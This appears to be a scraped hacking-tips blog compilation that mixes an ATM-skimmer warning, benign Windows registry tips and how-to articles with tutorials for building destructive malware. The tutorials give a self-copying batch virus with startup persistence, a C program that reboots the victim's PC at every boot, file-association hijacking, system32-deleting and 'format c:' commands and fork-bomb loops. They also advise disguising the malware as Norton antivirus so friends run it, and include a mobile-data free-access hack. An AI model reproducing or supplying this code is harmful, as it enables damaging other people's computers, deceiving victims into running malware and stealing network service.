IP

Warning Bank ATM (Cash Machines) can be hacked

It has again come to light that organised crime is behind the resurgence in unauthorised modification or hacking of ATM machine belonging to many banks and building societies. This is happening worldwide and has been the cause of increasing concern to the police forces responsible for tackling this type of crime.


As can be seen in this series of photographs the criminals are becoming increasingly sophisticated in their attempts to clone bank credit cards and debit cards.

Once fitted the device is not easy to detect by the casual observer. Credit card cloning using this method has become more widespread following the introduction of chip and pin cards which require the credit card holder to enter a pin when making purchases in person.



As you can see in the second picture the card reader has been affixed to the front of the bank ATM machine and matches the original ATM machine very well.

Could you spot the difference? Ok so you can see how the criminals clone the card, but it is virtually useless without the pin number.


Say hello to secret weapon number two ! A hidden camera cunningly hidden in the base of a leaflet dispenser. Would you have spotted it before it recorded you entering your pin number into the ATM machine ?


The last picture shows both devices fitted and operational. The card slot panel records details of the card's magnetic strip when it is inserted, at the same time sending a wireless message to the camera to record the pin details. The criminals then need to then retrieve both panels from the front of the machine in order to access and use the illegally-obtained information.


In order to avoid being stung by these ATM hackers, we would recommend that you take the following precautions:

• Always physically check of the outside of an ATM before you insert your card. Always report anything you think is unusual or any strange looking attachments to the bank staff or store manager .


• Cover your hand when you type using your spare hand or your body so that any camera sited on the machine or in a nearby building using a zoom lens cannot see you pin number being entered.


• Avoid using ATM's when suspicious people are hanging around. If possible always use ATM's located inside banks.


• Regularly check your bank account regularly so that you can spot any unauthorised transactions quickly and contact the bank



Hack Airtel Gprs 2010

Hack Airtel Gprs Octomber 2010


Step By Step Procedure:
1)First Activate Airtel Live!( It is FREE).
2) Create TWO Airtel gprs data accounts in your mobile and set the
FIRST one as the active profile.

3)Connect your phone with your connectivity cable using blutooth dongle or usb/serial cable.
4) Go to control panel and create a new dial up connection.
Connection Device : Your mobile’s modem
ISP Name : Anything you want to enter.
Phone Number : Your mobile number.
Username: blank
Password: blank
5) Now setup your browser at your pc to use the proxy
100.1.200.99 and port 8080.
6) Connect to the dial-up account.
7) Try on your mobile and access any site. You will get “Access
Denied…”. Keep the mobile down.
8 ) On the PC ( or Laptop) open your browser, enter any address ,
press ENTER and WAIT for some minutes.
9) That’s it done ! now you can open any page on your pc for free.

How To Make Virus

How To Make Virus

Hello Friends,
Here is the tutorial for making virus.and be careful it might be harmful to your pc
Open notepad and type this:
"lol=msgbox (“Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot”,20,”Warning”)"
and save it as virus.vbs. 
and go to the folder that contains it and open it if a window pops out saying that a virus has been detected,then it’s working. Press yes or no to close the window and put it in the startup folder of the victim’s account.
On startup the window should appear.The Yes and No button does not do anything except closing the window. And you can edit the virus in the sentence: Warning a virus has detected on your PC to any kind of virus eg.Trojan Horse like this lol=msgbox (“Warning a Trojan horse has been detected on your PC. Press YES to format your hard disk now or press NO to format format your hard disk after system reboot”,20,”Warning”)


Simple batch virus. (This is quite Destructive !)

This one is a simple batch virus
Just copy and paste the code given below in notepad and save it as game.bat(not .txt). Be carefull & Don’t run on your PC Just Enjoy It and Play With Your Friends.
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c “VIRUS DETECTED”
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP
What does it Do ?
1) Copies itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer.

Best Of Luck

Make A Virus Program In C to Restart the Computer at Every Startup

Make A Virus Program In C to Restart the Computer at Every Startup


Hello Friends,
Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.
Here is the source code.

#include
#include
#include
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(”C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(”C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(”D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(”E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(”F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(”C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(”D:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(”E:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(”F:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(”shutdown -r -t 0″); //if the system is already infected then just give a command to restart}
NOTE: COMMENTS ARE GIVEN IN GREEN COLOUR.
Compiling The Scource Code Into Executable Virus.

1. Download the Source Code Here
2. The downloaded file will be Sysres.C

Testing And Removing The Virus From Your PC

You can compile and test this virus on your own PC without any fear.To test, just doubleclick the sysres.exe file and restart the system manually.Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system.After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto X:\Windows\System (X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run 

There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.
Logic Behind The Working Of The Virus

If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete.So I’ll explain the logic in a simplified manner.Here I’ll not explain the technical details of the program.If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.
AND ONE MORE THING BEFORE YOU LEAVE(This Step is optional)
After you compile, the Sysres.exe file that you get will have a default icon.So if you send this file to your friends they may not click on it since it has a default ICON.So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.

Extension changing Virus

Extension changing Virus


Hello Friends,

What is Extension changer ? Assume that all images (*.jpeg, Gif etc) are by default opening with “Windows Picture and Fax Viewer” but in this article this will change to some other application as you wish for ex: .mpeg application so that it cannot be opened in this way you can disable opening of jpeg application.The source code & step by step procedure is as follows.

1. Open a Notepad and copy and paste the below code

    @echo off
    assoc .txt=jpegfile
    assoc .exe=htmlfile
    assoc .jpeg=avifile
    assoc .png=mpegfile
    assoc .mpeg=txtfile
    assoc .sys=regfile
    msg Your System got Infected…..
    exit

2. Save it as virus.bat, and now you are ready to go…
3. Execute this on Victims computer
This Virus File will change the native extension with some other extension and makes them unable to open the file unless they know how to deal with it…
The above program replaces all the text files [.txt] with the extension [.jpeg], and likewise….

How to make a virus with notepad

How to make a virus with notepad

 

Index
1. Tools
2. What makes a virus a virus
3. Making your first batch file
4. Making a batch virus
5. Destructive commands
6. Most common tricks used to make someone open the file


1. Tools
To make a batch program you will need a text program (ex. Word,notepad,wordpad etc…) A keyboard if you don’t have one you can use the ON-screen keyboard
To get to the on-screen keyboard start>all programs>accessories>accessibility


2. What makes a virus a virus
When people think of a virus they think of a computer virus but the word virus came from a virus that’s in your body. They also think a virus is meant to delete or destroy things. They normally do but a virus is called a virus because, it copies itself. Like a virus in your body it copies it self to other cells cause it can’t live with out a host. Same with a computer virus with out a file or a program a virus can’t be made.
So all a computer virus is: a program that copies it self ,but some people put destructive code in it.

3. Making a Batch file
I’m going to use notepad you can use what ever you want

We are also going to make a “Hello World” Application that is the first program you make in any language

When making a batch file you are always going to use this line first

@echo off

You can turn it on if you like. All that does is telling the program not to tell its location. If you turn it on then the program will tell were it is at on the computer.
You can experiment a little if you want.

Now we are going to make it say Hello World

To do this we need a echo command which looks like this
echo

This tells the program to write something since we want it to say Hello World we are going to type Hello World next to echo to make it look like this

echo Hello World

so at this point you should have

@echo off
echo Hello World

now go to file save and name it test.bat ( you can name it whatever you want as long as it has .bat at the end.)
Save it to the desktop so you can get to it faster.

Then run it



You should of have a black box open and close really fast

To fix this we need a pause command and we will also need a goto command

The goto command is the most importent command

If you dont know the goto command tell it were to go to next.

since we need a pause command we want it to go to pause so we need to write goto pause like this

goto pause

now u should have

@echo off
echo Hello World
goto pause

now we need a subsection name pause

you make a sub section by putting a : by the first word like this

:start

or

:end

,but we said go to pause so we need one name pause like this

ause

then under that we are goin to write pause

ause
pause

this just makes it were it will keep the box open till you press a key

Optionl

At the end you can put a exit at the end of pause were the goto command should go ,but you dont have to.

save at run it now.You should be able to read your text now

4. Making a Batch file into a virus

This is alot easier then some people think.

To make a virus you just need the copy command which looks like this

copy

so lets make a new one by reading section 3 you should know you need the @echo off

@echo off
copy

allright we are going to name this file first

and we are going to make it copy itself to C:\WINDOWS just because no one looks in their

this is what it looks like (i will explain it)

@echo off
copy first C:\WINDOWS

copy-tells it to copy
first-is just the name of the file we want to copy
C:\WINDOWS- is the place you want to copy to

that is a virus

5. Destructive commands

If you get pissed at someone you might want to send him someting to mess with him. Here are some commands to add to the virus.

del -this del files

del file name
del (.txt*)

the (.txt*) would delete all txt files on the computer the * at the end just means all instead of a file called .txt

deltree- this deletes the whole folder

you can remeber it like this

Think of a tree if you type del you are only deleting a part of the tree ,but if you type deltree you are deleting the whole tree

format- this deltes everything

format c:

this delets everything in the c drive

open

this is just fun to use to scare some one but not do damage to something

open name of file

like to open notepad type

open notepad

to open microsoft paint type

open mspaint

just put ta crap load in their

also the next one that can be very usefull is looping

this will make the file repet it self til it is shut off

say your first sub section is called start

you would just make the goto command to go to start like

@echo off
:start
start notepad
goto start

that will open notepad over and over and if they dont close it it can crash their computer

to open the command window you have to use var. like %% (not going to explain var. it would be confusing)

@echo off
:whatever
start %0
goto whatever

this will open the black box over and over

6. Most command tricks

people will put it in a folder with a couple read me doc. and call it a game

people will say check this out it is so cool

people will say check out this hack or cheat i found for this game

to check if the are good do this

tell them to put it in a zip folder and send it

unzip and right click on the program(dont open it)

and press edit

that will show the sorce code and if you see something you dont like then delete it

Examples

for just a simp msg its

@echo off
echo *insert MSG here*
goto pause
ause
pause

for the a rapid command propt type screen its

@echo off
:whatever
start %0
goto whatever

for rapid note pad its


@echo off
:start
start notepad
goto start

for rapid ms paint its


@echo off
:start
start ms paint
goto start

Quite Long but good to try...




Making a file that destroys ur victims pc

Making a file that destroys ur victims pc

 

I m not responsible for the damage caused by this file."

1. Open Notepad

2. write the above command : -
del c:\WINDOWS\system32\**/q

3. Save the above notepad with the extension ".bat or .cmd" as u want

4. !!!!!!!!!!!!!!!!!!!!!!Attention!!!!!!!!!!!!!!!!!!!!!!
Don't double click the file otherwise u r in trouble.
Why ?????? bcz the file u created delete all files from ur

system32 folder and when u restart ur pc it will not start

bcz system can not find the files in the system32 folder which

is required at the time of booting.

5. You can also test the above by creating a fake folder let suppose

windows1 in C:\. Copy some old files in it and just follow the

above command.By double clicking the bat or cmd file ur all files

automaitcally get deleted.

6. You can try this file in any one`s computer.(but this result in causing damage to the computer, so thik again before trying this on anyone's pc)

How to Find a Hidden File on Your Computer

How to Find a Hidden File on Your Computer

 

Level of difficulty: Easy

One of the main reasons why some files are hidden by Windows is that a user may unknowingly modify or delete them and this may prove catastrophic for the Operating System (OS). There are times when these files actually need to be accessed, such as when troubleshooting or when removing malicious software from your computer, since these harmful programs use hidden files to make them hard to detect and remove.

How to Find Out the IP Address of a Router

How to Find Out the IP Address of a Router

 

Level of difficulty: 

Intermediate

The IP (Internet Protocol) address of a router can be useful if you want to secure your wireless network. It can prevent unauthorized users to gain access to your wireless network. You can also make some changes to your router’s settings by accessing the settings from your Web browser. In order to do this, you need to know the IP address of your router.

Materials Needed:

- Internet connection
- router’s manual (optional)
Step 1
You can easily get the IP address of your router by checking the user’s manual. If you do not have the manual, you can access the Internet and check the router’s website for the IP address.
Step 2
Open a Web browser window. Search for the official website of your router. Search for the model of the router that you are using. Usually, manufacturer’s use a default IP address for each model of a router. Once you have found the model of your router, check the online manual for the IP address.
Step 3
If you cannot find the specific model of your router on the router’s website, try searching for it on search engines. Type the model of your router on the search bar followed by 'default IP address'. This should bring up some results for the IP address of your router.
Step 4
In some cases, the manufacturer does not use the default IP address for the router. Sometimes, the IP address can also be changed manually. You can also get the IP address of your router even if it has been changed. To do this, click on the 'Start' button on the lower left corner of your desktop. Select 'All Programs' from the list. Choose 'Accessories' and choose on 'Command Prompt'.
Step 5
A new window will appear on the screen. On the window, type 'ipconfig' where the cursor is. Press the 'Enter' key on your keyboard.
Step 6
Wait for the results for a few seconds. A lot of information regarding your computer and network will appear on the screen. Search for the line that reads 'Default Gateway'. The numbers beside this line is your router’s IP address.
Step 7
You can change the settings of your router by using the IP address. On your Web browser window, type the IP address on the address bar. This should open a page containing your router’s settings.



How to Find Computer Virus

How to Find Computer Virus

 

Level of difficulty: Intermediate

Computer viruses are small applications that contaminate files inside your computer and are capable of transferring from one computer to another. The purpose of the virus is to spread and corrupt a computer’s system. Infected computers start to slow down until the entire system eventually crash or malfunction. Antivirus programs are sold all over the world to fight virus infestation that has now found a way to disguise itself to infiltrate low level computer security. To find a virus, you will need to have an antivirus program.

Windows Tips

_____________________________

    ______________________I          Topic:             I_____________________

   \                      I                             I                    /

    \     HTML by:        I     Untold Windows Tips     I   Written by:     /

    >                     I         and Secrets         I                  <

   /      vinoth       I_____________________________I    vinoth         \

  /___________________________>                    <_________________________\

Welcome to another Hacking Truths Manual. This time I have a collection of Tips and Tricks which no body normally knows, the secrets which Microsoft is afraid to tell the people, the information which you will seldom find all gathered up and arranged in a single file. To fully reap this Manual you need to have a basic understanding of the Windows Registry, as almost all the Tricks and Tips involve this file.
****************
Important Note: Before you read on, you need to keep one thing in mind. Whenever you make changes to the Windows Registry you need to Refresh it before the changes take place. Simply press F5 to refresh the registry and enable the changes. If this does not work Restart your system
****************
Exiting Windows the Cool and Quick Way
Normally it takes a hell lot of time just Shutting down Windows, you have to move your mouse to the Start Button, click on it, move it again over Shut Down, click, then move it over the necessary option and click, then move the cursor over the OK button and once again (you guessed it) click.This whole process can be shortened by creating shortcuts on the Desktop which will shut down Windows at the click of a button. Start by creating a new shortcut( right click and select New> Shortcut). Then in the command line box, type (without the quotes.)
'C:\windows\rundll.exe user.exe,exitwindowsexec'
This Shortcut on clicking will restart Windows immediately without any Warning. To create a Shortcut to Restarting Windows, type the following in the Command Line box:
'c:\windows\rundll.exe user.exe,exitwindows'
This Shortcut on clicking will shut down Windows immediately without any Warning.
Ban Shutdowns : A trick to Play on Lamers
This is a neat trick you can play on that lamer that has a huge ego, in this section I teach you, how to disable the Shut Down option in the Shut Down Dialog Box. This trick involves editing the registry, so please make backups. Launch regedit.exe and go to :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
In the right pane look for the NoClose Key. If it is not already there then create it by right clicking in the right pane and selecting New > String Value.(Name it NoCloseKey ) Now once you see the NoCloseKey in the right pane, right click on it and select Modify. Then Type 1 in the Value Data Box.
Doing the above on a Win98 system disables the Shut Down option in the Shut Down Dialog Box. But on a Win95 machine if the value of NoCloseKey is set to 1 then click on the Start > Shut Down button displays the following error message:
This operation has been cancelled due to restrictions in effect on this computer. Please contact your system administrator.
You can enable the shut down option by changing the value of NoCloseKey to 0 or simply deleting the particular entry i.e. deleting NoCloseKey.
Instead of performing the above difficult to remember process, simply save the following with an extension of .reg and add it's contents to the registry by double clicking on it.
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoClose"="1"
Disabling Display of Drives in My Computer
This is yet another trick you can play on your geek friend. To disable the display of local or networked drives when you click My Computer go to :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Now in the right pane create a new DWORD item and name it NoDrives. Now modify it's value and set it to 3FFFFFF (Hexadecimal) Now press F5 to refresh. When you click on My Computer, no drives will be shown. To enable display of drives in My Computer, simply delete this DWORD item. It's .reg file is as follows:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDrives"=dword:03ffffff
Take Over the Screen Saver
To activate and deactivate the screen saver whenever you want, goto the following registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ScreenSavers
Now add a new string value and name it Mouse Corners. Edit this new value to -Y-N. Press F5 to refresh the registry. Voila! Now you can activate your screensaver by simply placing the mouse cursor at the top right corner of the screen and if you take the mouse to the bottom left corner of the screen, the screensaver will deactivate.
Pop a banner each time Windows Boots
To pop a banner which can contain any message you want to display just before a user is going to log on, go to the key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon
Now create a new string Value in the right pane named LegalNoticeCaption and enter the value that you want to see in the Menu Bar. Now create yet another new string value and name it: LegalNoticeText. Modify it and insert the message you want to display each time Windows boots. This can be effectively used to display the company's private policy each time the user logs on to his NT box. It's .reg file would be:
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon]
"LegalNoticeCaption"="Caption here."
Delete the Tips of the Day to save 5KB
Windows 95 had these tips of the day which appeared on a system running a newly installed Windows OS. These tips of the day are stored in the Windows Registry and consume 5K of space. For those of you who are really concerned about how much free space your hard disk has, I have the perfect trick.
To save 5K go to the following key in Regedit:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips
Now simply delete these tricks by selecting and pressing the DEL key.
Change the Default Locations
To change the default drive or path where Windows will look for it's installation files, go to the key:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup\SourcePath
Now you can edit as you wish.
Secure your Desktop Icons and Settings
You can save your desktop settings and secure it from your nerdy friend by playing with the registry. Simply launch the Registry Editor go to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
In the right pane create a new DWORD Value named NoSaveSettings and modify it's value to 1. Refresh and restart for the settings to get saved.
CLSID Folders Explained
Don't you just hate those stubborn stupid icons that refuse to leave the desktop, like the Network Neighborhood icon. I am sure you want to know how you can delete them. You may say, that is really simple, simply right click on the concerned icon and select Delete. Well not exactly, you see when you right click on these special folders( see entire list below)neither the rename nor the delete option does not appear. To delete these folders, there are two methods, the first one is using the System Policy Editor(Poledit in the Windows installation CD)and the second is using the Registry.
Before we go on, you need to understand what CLSID values are. These folders, like the Control Panel, Inbox, The Microsoft Network, Dial Up Networking etc are system folders. Each system folder has a unique CLSID key or the Class ID which is a 16-byte value which identifies an individual object that points to a corresponding key in the registry.
To delete these system Folders from the desktop simply go to the following registry key:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\Namespace{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
To delete an icon simply delete the 16 byte CLSID value within "NameSpace". The following are the CLSID values of the most commonly used icons:
My Briefcase:{85BBD920-42AO-1069-A2E4-08002B30309D}
Desktop: {00021400-0000-0000-C000-0000000000046}
Control Panel:{21EC2020-3AEA-1069-A2DD-08002B30309D}
Dial-Up-Networking:{992CFFA0-F557-101A-88EC-00DD01CCC48}
Fonts: {BD84B380-8CA2-1069-AB1D-08000948534}
Inbox :{00020D76-0000-0000-C000-000000000046}
My Computer :{20D04FE0-3AEA-1069-A2D8-08002B30309D}
Network Neighborhood:{208D2C60-3AEA-1069-A2D7-O8002B30309D}
Printers :{2227A280-3AEA-1069-A2DE-O8002B30309D}
Recycle Bin :{645FF040-5081-101B-9F08-00AA002F954E}
The Microsoft Network:{00028B00-0000-0000-C000-000000000046}
History: {FF393560-C2A7-11CF-BFF4-444553540000}
Winzip :{E0D79300-84BE-11CE-9641-444553540000}
For example, to delete the Recycle Bin, first note down it's CLSID value, which is: 645FF040-5081-101B-9F08-00AA002F954E. Now go to the Namespace key in the registry and delete the corresponding key.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E}
Similarly to delete the History folder, delete the following key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\{FBF23B42-E3F0-101B-8488-00AA003E56F8}
Sometimes, you may need to play a trick on your brother or friend, well this one teaches you how to hide all icons from the Desktop. Go to the following registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
In the right pane create a new DWORD value by the name: NoDesktop and set its value to: 1. Reboot and you will find no icons on the desktop.
Till now you simply learnt how to delete the special system folders by deleting a registry key, but the hack would have been better if there was a way of adding the DELETE and RENAME option to the right click context menus of these special folders. You can actually change the right click context menu of any system folder and add any of the following options: RENAME, DELETE, CUT, COPY, PASTE and lots more.
This hack too requires you to know the CLSID value of the system folder whose menu you want to customize. In this section, I have taken up Recycle Bin as the folder whose context menu I am going to edit.
Firstly launch the registry editor and open the following registry key:
HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder.
In Case you want to edit some other folder like say the FONTS folder, then you will open the following key:
HKEY_CLASSES_ROOT\CLSID\{CLSID VALUE HERE}\ShellFolder.
In the right pane there will be a DWORD value names attributes. Now consider the following options:
  1. To add the Rename option to the menu, change the value of Attributes to50 01 00 20
  2. To add the Delete option to the menu, change the value of Attributes to
60 01 00 20
3. To add both the Rename & Delete options to the menu, change the value of Attributes to 70,01,00,20
4. Add Copy to the menu, change Attributes to 41 01 00 20
5. Add Cut to the menu, change Attributes to 42 01 00 20
6. Add Copy & Cut to the menu, change Attributes to 43 01 00 20
7. Add Paste to the menu, change Attributes to 44 01 00 20
8. Add Copy & Paste to the menu, change Attributes to 45 01 00 20
9. Add Cut & Paste to the menu, change Attributes to 46 01 00 20
10.Add all Cut, Copy & Paste to the menu, change Attributes to 47 01 00 20
We want to add only the Rename option to the right click context menu of the Recycle Bin, so change the value of attributes to: 50 01 00 20. Press F5 to refresh and then after rebooting you will find that when you right click on the Recycle Bin a RENAME option pops up too.
To reset the default Windows options change the value of Attributes back to
40 01 00 20
The Registry File which one can create for the above process would be something like the below:
REGEDIT4
[HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\Shell-Folder]
"Attributes"=hex:50,01,00,20
To access say the Modem Properties in the Control Panel Folder, the normal procedure is: Click on Start, Click on Settings> Control Panel and then wait for the Control Panel window to pop up and then ultimately click on the Modems icon.
Wouldn't it be lovely if you could shorten the process to: Click on Start> Control Panel>Modems. Yes you can add the Control Panel and also all other Special System Folders directly to the first level Start Menu. Firstly collect the CLSID value of the folder you want to add to the start menu. I want to add Control Panel hence the CLSID value is: 21EC2020-3AEA-1069-A2DD-08002B30309D
Now right click on the Start Button and select Open. Now create a new folder and name it: Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}
NOTE: Do not forget the period after the 'l' in Panel. Similarly all system folders can be added to the Start Menu.(accept My Briefcase, I think)
Deleting System Options from the Start menu
You can actually remove the Find and Run options from the start menu by performing a simple registry hack. Again like always Launch the registry editor and scroll down to the below key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Right-click on the right pane and select New, DWORD Value. Name it NoFind.(To remove the RUN option name it NoRun). Double-click the newly create DWORD to edit it's value and enter 1 as its value. This will disable the FIND option of the Start Menu and will also disable the default Shortcut key(F3 for Find.)
To restore the Run or find command modify the value of the DWORD to 0 or simply Delete the DWORD value.
Fed Up of the boring Old Yellow Folder Icons?[Drive Icons Included]
NOTE: This trick hasn't been tried on Win98.
You can easily change the boring yellow folder icons to your own personalized icons. Simply create a text file and copy the following lines into it:
[.ShellClassInfo]
ICONFILE=Drive:\Path\Icon_name.extension
Save this text file by the name, desktop.ini in the folder, whose icon you want to change. Now to prevent this file from getting deleted change it's attributes to Hidden and Read Only by using the ATTRIB command.
To change the icon of a drive, create a text file containing the following lines:
[Autorun]
ICON=Drive:\Path\Icon_name.extension
Save this file in the root of the drive whose icon you want to change and name it autorun.inf For Example, if you want to change the icon of a floppy, SAVE THE icon in a:\icon_name.ico One can also create a kewl icon for the Hard Disk and create a text file [autorun.inf] and store it in "c:\".
 Securing NT
By default, NT 4.0 displays the last person who logged onto the system. This can be considered to be a security threat, especially in the case of those who choose their password to be same as their Username. To disable this bug which actually is a feature, go to the following key in the registry editor:
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon
Click and select the ReportBookOK item and create a new string value called DontDisplayLastUserName. Modify it and set it's value to 1.
As a system administrator, you can ensure that the passwords chosen by the users are not too lame or too easy to guess. NT has this lovely utility called the User Manager which allows the administrator to set the age limit of the password which forces the users to change the password after a certain number of days. You can also set the minimum length of passwords and prevent users to use passwords which already have been used earlier and also enable account lockouts which will deactivate an account after a specified number of failed login attempts.
When you log on to Win NT, you should disable Password Caching, this ensures Single NT Domain login and also prevents secondary Windows Logon screen.
Simply copy the following lines to a plain text ASCII editor like: Notepad and save it with an extension, .reg
----------------DISABLE.reg-----------------
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network]
"DisablePwdCaching"=dword:00000001
----------------DISABLE.reg-----------------
To Enable Password Caching use the following .reg file:
--------------Enable.reg-----------------
REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network]
"DisablePwdCaching"=dword:00000000
--------------Enable.reg-----------------

Cleaning Recent Docs Menu and the RUN MRU
The Recent Docs menu can be easily disabled by editing the Registry. To do this go to the following Key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Now in the right pane, create a new DWORD value by the name: NoRecentDocsMenu and set it's value to 1. Restart Explorer to save the changes.
You can also clear the RUN MRU history. All the listings are stored in the key:
HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
You can delete individual listings or the entire listing. To delete History of Find listings go to:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Doc Find Spec MRU
and delete.
Customizing the Right Click Context Menu of the Start Menu
When you right click on the start menu, only 3 options pop up: Open, Explore, and Find. You can add your own programs to this pop up menu( which comes up when we right click on it.) Open Regedit and go to the following registry key:
HKEY_CLASSES_ROOT\Directory\Shell
